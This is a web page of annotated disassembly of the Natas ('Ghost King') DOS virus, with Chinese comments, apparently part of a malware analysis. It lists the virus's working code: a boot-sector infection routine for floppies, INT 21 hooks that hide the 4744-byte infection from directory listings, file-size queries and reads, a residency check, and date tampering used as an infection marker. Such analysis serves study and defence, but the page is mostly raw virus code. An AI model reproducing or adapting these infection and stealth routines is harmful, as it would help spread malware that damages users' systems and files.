?? natas 幽靈王病毒的分析.htm
字號:
9E80:0494 BA7305 MOV DX,0573 ;設置新 INT 21 到 CS:0573
9E80:0497 E83AFC CALL 00D4
9E80:049A C60673042E MOV Byte Ptr [0473],2E;將 0472 處改為 JMP 04A2
9E80:049F E860FC CALL 0102 ;POPA
9E80:04A2 80FC02 CMP AH,02
9E80:04A5 7509 JNZ 04B0
9E80:04A7 83F901 CMP CX,+01
9E80:04AA 7504 JNZ 04B0
9E80:04AC 0AF6 OR DH,DH ;讀引導區轉 04B6
9E80:04AE 7406 JZ 04B6
9E80:04B0 E8F605 CALL 0AA9 ;執行原 INT 13H
9E80:04B3 CA0200 RETF 0002
;===========================================================================
;讀引導區時返回原引導記錄及傳染程序
9E80:04B6 E8F005 CALL 0AA9 ;執行原 INT 13H
9E80:04B9 E830FC CALL 00EC ;PUSHA
9E80:04BC 723D JB 04FB
9E80:04BE 06 PUSH ES
9E80:04BF 0E PUSH CS
9E80:04C0 07 POP ES
9E80:04C1 1F POP DS
9E80:04C2 B90001 MOV CX,0100
9E80:04C5 8BF3 MOV SI,BX
9E80:04C7 BF1314 MOV DI,1413
9E80:04CA 8BDF MOV BX,DI
9E80:04CC FC CLD
9E80:04CD F3 REPZ ;移動讀出的引導記錄
9E80:04CE A5 MOVSW ;到 CS:1413
9E80:04CF 0E PUSH CS
9E80:04D0 1F POP DS
9E80:04D1 E8B8FC CALL 018C ;判斷是否已傳染
9E80:04D4 752B JNZ 0501
9E80:04D6 B80102 MOV AX,0201 ;已傳染讀出原引導記錄
9E80:04D9 8B4C1B MOV CX,[SI+1B]
9E80:04DC 8A741F MOV DH,[SI+1F]
9E80:04DF E8D405 CALL 0AB6
9E80:04E2 7217 JB 04FB
9E80:04E4 A10000 MOV AX,[0000]
9E80:04E7 3907 CMP [BX],AX
9E80:04E9 7510 JNZ 04FB ;無病毒轉 04FB
9E80:04EB 8B7E0E MOV DI,[BP+0E]
9E80:04EE 8E4600 MOV ES,[BP+00]
9E80:04F1 2BF3 SUB SI,BX
9E80:04F3 03FE ADD DI,SI
9E80:04F5 8D7747 LEA SI,[BX+47] ;解密恢復原引導記錄
9E80:04F8 E83BFB CALL 0036
9E80:04FB E804FC CALL 0102 ;POPA
9E80:04FE CA0200 RETF 0002
;==========================================================================
;傳染引導記錄程序
9E80:0501 80FA80 CMP DL,80 ;是硬盤不傳染
9E80:0504 73F5 JNB 04FB
9E80:0506 B80103 MOV AX,0301
9E80:0509 B90100 MOV CX,0001
9E80:050C E8A705 CALL 0AB6
9E80:050F 72EA JB 04FB
9E80:0511 8BF2 MOV SI,DX
9E80:0513 8BFB MOV DI,BX
9E80:0515 8B4513 MOV AX,[DI+13]
9E80:0518 8B4D18 MOV CX,[DI+18]
9E80:051B 294D13 SUB [DI+13],CX
9E80:051E 890E6F05 MOV [056F],CX
9E80:0522 33D2 XOR DX,DX
9E80:0524 0BC0 OR AX,AX
9E80:0526 74D3 JZ 04FB
9E80:0528 E3D1 JCXZ 04FB
9E80:052A F7F1 DIV CX
9E80:052C 0BD2 OR DX,DX
9E80:052E 75CB JNZ 04FB
9E80:0530 8B5D1A MOV BX,[DI+1A]
9E80:0533 0BDB OR BX,BX
9E80:0535 74C4 JZ 04FB
9E80:0537 F7F3 DIV BX
9E80:0539 0BD2 OR DX,DX
9E80:053B 75BE JNZ 04FB
9E80:053D 48 DEC AX
9E80:053E 8AE8 MOV CH,AL
9E80:0540 B101 MOV CL,01
9E80:0542 4B DEC BX
9E80:0543 8BD6 MOV DX,SI
9E80:0545 8AF3 MOV DH,BL
9E80:0547 8BDF MOV BX,DI
9E80:0549 E80DFC CALL 0159
9E80:054C 72AD JB 04FB
9E80:054E B80903 MOV AX,0309
9E80:0551 33DB XOR BX,BX
9E80:0553 E86005 CALL 0AB6
9E80:0556 72A3 JB 04FB
9E80:0558 B80103 MOV AX,0301
9E80:055B BB1314 MOV BX,1413
9E80:055E B90100 MOV CX,0001
9E80:0561 32F6 XOR DH,DH
9E80:0563 E85005 CALL 0AB6
9E80:0566 8B5E0E MOV BX,[BP+0E]
9E80:0569 8E5E00 MOV DS,[BP+00]
9E80:056C 816F130F00 SUB Word Ptr [BX+13],000F
9E80:0571 EB88 JMP 04FB </FONT></PRE><PRE><FONT color=#008080 size=2>;=======================================================================
; 新 INT 21 代碼部分
;=======================================================================
9E80:0573 FA CLI
9E80:0574 2E8C16D512 MOV CS:[12D5],SS ;保存堆棧地址
9E80:0579 2E8926D712 MOV CS:[12D7],SP
9E80:057E 0E PUSH CS
9E80:057F 17 POP SS
9E80:0580 BCD913 MOV SP,13D9 ;切換到內部堆棧
9E80:0583 FB STI
9E80:0584 E865FB CALL 00EC ;PUSHA
9E80:0587 E421 IN AL,21
9E80:0589 0C02 OR AL,02
9E80:058B E621 OUT 21,AL ;屏蔽鍵盤
9E80:058D 0E PUSH CS
9E80:058E 1F POP DS
9E80:058F BFFF13 MOV DI,13FF
9E80:0592 899DC4F6 MOV [DI+F6C4],BX ;MOV [0AC3],BX
9E80:0596 B024 MOV AL,24
9E80:0598 E828FB CALL 00C3 ;取中斷向量 INT 24
9E80:059B 895DE8 MOV [DI-18],BX ;保存于 13E7
9E80:059E 8C45EA MOV [DI-16],ES
9E80:05A1 C705B003 MOV Word Ptr [DI],03B0 ;MOV AL,3
9E80:05A5 C64502CF MOV Byte Ptr [DI+02],CF ;IRET
9E80:05A9 8BD7 MOV DX,DI ;設置新 INT 24 中斷向量
9E80:05AB E826FB CALL 00D4
9E80:05AE E851FB CALL 0102 ;POPA
9E80:05B1 E83CFC CALL 01F0 ;恢復原 INT 21 中斷 5 字節
9E80:05B4 E835FB CALL 00EC ;以便調用
;==========================================================================
9E80:05B7 80FC30 CMP AH,30
9E80:05BA 750E JNZ 05CA
9E80:05BC 81C36606 ADD BX,0666 ;病毒駐留檢測, DOS 30H 功能
9E80:05C0 7508 JNZ 05CA ;以 BX = F99A 調用
9E80:05C2 895E10 MOV [BP+10],BX ;返回 AX = 0000
9E80:05C5 895E0E MOV [BP+0E],BX
9E80:05C8 EB5C JMP 0626 ;INT 21 返回
;==========================================================================
9E80:05CA 80FC11 CMP AH,11
9E80:05CD 726F JB 063E
9E80:05CF 80FC12 CMP AH,12 ;DOS 11,12 功能 (DIR)
9E80:05D2 776A JA 063E
9E80:05D4 E8EE04 CALL 0AC5 ;先調用原 INT 21
9E80:05D7 0AC0 OR AL,AL ;未找到目錄項返回
9E80:05D9 7403 JZ 05DE
9E80:05DB E9A502 JMP 0883
9E80:05DE E84E04 CALL 0A2F ;設置 INT 21 返回值(堆棧中)
9E80:05E1 E8AC04 CALL 0A90 ;取當前執行文件名
9E80:05E4 B84348 MOV AX,4843 ;于 ES:DI (從 MCB 中)
9E80:05E7 AF SCASW ; "HC"
9E80:05E8 750C JNZ 05F6
9E80:05EA B84B44 MOV AX,444B ; "DK"
9E80:05ED AF SCASW
9E80:05EE 7506 JNZ 05F6
9E80:05F0 B8534B MOV AX,4B53 ; "KS" 即 CHKDSK
9E80:05F3 AF SCASW ;如果執行文件是 CHKDSK
9E80:05F4 7430 JZ 0626 ;則文件長度不減
9E80:05F6 E8A804 CALL 0AA1 ;取 DTA => ES:BX
9E80:05F9 33FF XOR DI,DI
9E80:05FB 803FFF CMP Byte Ptr [BX],FF
9E80:05FE 7503 JNZ 0603
9E80:0600 BF0700 MOV DI,0007 ;擴展 FCB
9E80:0603 8D711A LEA SI,[BX+DI+1A] ;
9E80:0606 E82E04 CALL 0A37 ;如果是 ARJ,LHA,PK系列
9E80:0609 741B JZ 0626 ;BACKUP,MODEM等文件執行中
9E80:060B 803CC8 CMP Byte Ptr [SI],C8 ;則不改動 (以下同)
9E80:060E 7216 JB 0626 ;未傳染返回
9E80:0610 802CC8 SUB Byte Ptr [SI],C8 ;已傳染,年號-100
9E80:0613 C4411D LES AX,[BX+DI+1D]
9E80:0616 8CC1 MOV CX,ES
9E80:0618 2D8812 SUB AX,1288 ;文件長 - 4744 字節
9E80:061B 83D900 SBB CX,+00
9E80:061E 7206 JB 0626
9E80:0620 89411D MOV [BX+DI+1D],AX
9E80:0623 89491F MOV [BX+DI+1F],CX
9E80:0626 E8F503 CALL 0A1E ;恢復 INT 24,開鍵盤
9E80:0629 E8D6FA CALL 0102 ;POPA
9E80:062C E8C1FB CALL 01F0 ;修改 INT 21 頭 5 字節
9E80:062F FA CLI
9E80:0630 2E8E16D512 MOV SS,CS:[12D5] ;恢復原堆棧
9E80:0635 2E8B26D712 MOV SP,CS:[12D7]
9E80:063A FB STI
9E80:063B CA0200 RETF 0002
;========================================================================
9E80:063E 80FC4E CMP AH,4E ;INT 21 之尋找文件功能
9E80:0641 721B JB 065E
9E80:0643 80FC4F CMP AH,4F
9E80:0646 7716 JA 065E
9E80:0648 E87A04 CALL 0AC5 ;先調用原 INT 21
9E80:064B 7303 JNB 0650
9E80:064D E93302 JMP 0883
9E80:0650 E8DC03 CALL 0A2F ;保存返回 AX
9E80:0653 E84B04 CALL 0AA1 ;取 DTA 于 ES:BX
9E80:0656 BFFDFF MOV DI,FFFD
9E80:0659 8D7719 LEA SI,[BX+19] ;更改文件長及時間
9E80:065C EBA8 JMP 0606
;=======================================================================
9E80:065E 3D0242 CMP AX,4202 ;INT 21 之測試文件長功能
9E80:0661 7524 JNZ 0687
9E80:0663 E85C04 CALL 0AC2 ;調用原 INT 21
9E80:0666 72E5 JB 064D
9E80:0668 E84003 CALL 09AB ;取系統文件表項于 ES:DI
9E80:066B 7611 JBE 067E
9E80:066D E8C703 CALL 0A37 ;
9E80:0670 740C JZ 067E
9E80:0672 2D8812 SUB AX,1288 ;如果傳染
9E80:0675 83DA00 SBB DX,+00 ;文件長 - 4744
9E80:0678 894515 MOV [DI+15],AX
9E80:067B 895517 MOV [DI+17],DX
9E80:067E F8 CLC
9E80:067F E8AD03 CALL 0A2F ;設置 INT 21 返回值
9E80:0682 89560A MOV [BP+0A],DX ;設置返回 DX
9E80:0685 EB9F JMP 0626
;========================================================================
9E80:0687 3D0057 CMP AX,5700 ;INT 21 之文件時間功能
9E80:068A 7412 JZ 069E
9E80:068C 3D0157 CMP AX,5701
9E80:068F 752F JNZ 06C0
9E80:0691 E81703 CALL 09AB ;設置文件時間
9E80:0694 7612 JBE 06A8 ;如果傳染
9E80:0696 80FEC8 CMP DH,C8 ;未加 100 年則加 100 年
9E80:0699 730D JNB 06A8
9E80:069B 80C6C8 ADD DH,C8
9E80:069E E89603 CALL 0A37
9E80:06A1 7405 JZ 06A8
9E80:06A3 E81C04 CALL 0AC2
9E80:06A6 7303 JNB 06AB
9E80:06A8 E9D801 JMP 0883
9E80:06AB 80FEC8 CMP DH,C8 ;取文件時間
9E80:06AE 7203 JB 06B3 ;如果傳染,則減 100 年
9E80:06B0 80EEC8 SUB DH,C8
9E80:06B3 F8 CLC
9E80:06B4 E87803 CALL 0A2F ;設置 INT 21 返回值
9E80:06B7 894E0C MOV [BP+0C],CX ;設置返回 CX,DX 值
9E80:06BA 89560A MOV [BP+0A],DX
9E80:06BD E966FF JMP 0626
;==========================================================================
9E80:06C0 80FC3F CMP AH,3F ;INT 21 之讀文件功能
9E80:06C3 7403 JZ 06C8
9E80:06C5 E9BD00 JMP 0785
9E80:06C8 E8E002 CALL 09AB ;取系統文件表項地址
9E80:06CB 76F8 JBE 06C5
9E80:06CD E86703 CALL 0A37 ;壓縮程序內退出
9E80:06D0 74F3 JZ 06C5
9E80:06D2 C44511 LES AX,[DI+11] ;文件大小 => BX:AX
9E80:06D5 8CC3 MOV BX,ES
9E80:06D7 C45515 LES DX,[DI+15] ;當前指針 => SI:DX
9E80:06DA 8CC6 MOV SI,ES
9E80:06DC 2E83267C0700 AND Word Ptr CS:[077C],+00 ;讀出長度清零
9E80:06E2 0BF6 OR SI,SI
9E80:06E4 754D JNZ 0733
9E80:06E6 83FA18 CMP DX,+18
9E80:06E9 7348 JNB 0733
9E80:06EB 51 PUSH CX ;當前指針 < 0000:0018
9E80:06EC 03CA ADD CX,DX
9E80:06EE F5 CMC
9E80:06EF 7303 JNB 06F4 ;> 64K 轉 06F7
9E80:06F1 83F918 CMP CX,+18
9E80:06F4 59 POP CX ;讀文件頭 18 字節內
9E80:06F5 7205 JB 06FC ;轉 06FC
9E80:06F7 B91800 MOV CX,0018 ;一半在文件頭 18 字節內
9E80:06FA 2BCA SUB CX,DX ;CX=在文件頭18字節內的字節數
9E80:06FC 50 PUSH AX
9E80:06FD 53 PUSH BX
9E80:06FE 52 PUSH DX
9E80:06FF 83EA18 SUB DX,+18 ;BX:AX = 文件長
9E80:0702 03C2 ADD AX,DX ;
9E80:0704 F5 CMC
9E80:0705 1BDE SBB BX,SI
9E80:0707 874515 XCHG AX,[DI+15] ;文件指針指向文件尾
9E80:070A 875D17 XCHG BX,[DI+17]
9E80:070D 50 PUSH AX
9E80:070E 53 PUSH BX
9E80:070F 1E PUSH DS
9E80:0710 B43F MOV AH,3F ;讀出原文件頭
9E80:0712 8B560A MOV DX,[BP+0A]
9E80:0715 8E5E02 MOV DS,[BP+02]
9E80:0718 E8A703 CALL 0AC2
9E80:071B 1F POP DS
9E80:071C 8F4517 POP [DI+17] ;恢復原文件指針
9E80:071F 8F4515 POP [DI+15]
9E80:0722 5A POP DX
9E80:0723 9C PUSHF ;由于分兩部分讀出
9E80:0724 03D0 ADD DX,AX ;所以保留第一次讀出數
9E80:0726 2E01067C07 ADD CS:[077C],AX ;返回時加上第二次讀出數
9E80:072B 9D POPF
9E80:072C 5B POP BX ;BX:AX = 文件長
9E80:072D 58 POP AX
9E80:072E 7303 JNB 0733
9E80:0730 E95001 JMP 0883
9E80:0733 895515 MOV [DI+15],DX ;讀出第一部分后的
9E80:0736 897517 MOV [DI+17],SI ;文件指針
9E80:0739 8B4E0C MOV CX,[BP+0C] ;原讀出字節數
9E80:073C 2E2B0E7C07 SUB CX,CS:[077C] ;減去已讀出字節數
9E80:0741 2D8812 SUB AX,1288 ;BX:AX = 文件長
9E80:0744 83DB00 SBB BX,+00
9E80:0747 50 PUSH AX
9E80:0748 53 PUSH BX ;BX:AX = 減去病毒后文件長
9E80:0749 2BC2 SUB AX,DX ;
9E80:074B 1BDE SBB BX,SI
9E80:074D 5B POP BX
9E80:074E 58 POP AX
9E80:074F 7304 JNB 0755 ;當前指針不在病毒內轉 0755
9E80:0751 33C9 XOR CX,CX ;當前指針在病毒內
9E80:0753 EB14 JMP 0769 ;則讀出 0 字節
9E80:0755 03D1 ADD DX,CX
9E80:0757 83D600 ADC SI,+00 ;SI:DX = 讀出后
9E80:075A 3BDE CMP BX,SI ;指針將要在的位置
9E80:075C 770B JA 0769
9E80:075E 7204 JB 0764
9E80:0760 3BC2 CMP AX,DX
9E80:0762 7305 JNB 0769 ;未到病毒內轉 0769
9E80:0764 2BD1 SUB DX,CX ;
9E80:0766 91 XCHG AX,CX
9E80:0767 2BCA SUB CX,DX ;CX = 到原文件尾長度
9E80:0769 B43F MOV AH,3F
9E80:076B 8B560A MOV DX,[BP+0A]
9E80:076E 2E03167C07 ADD DX,CS:[077C]
9E80:0773 8E5E02 MOV DS,[BP+02]
9E80:0776 E84903 CALL 0AC2 ;讀出文件
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -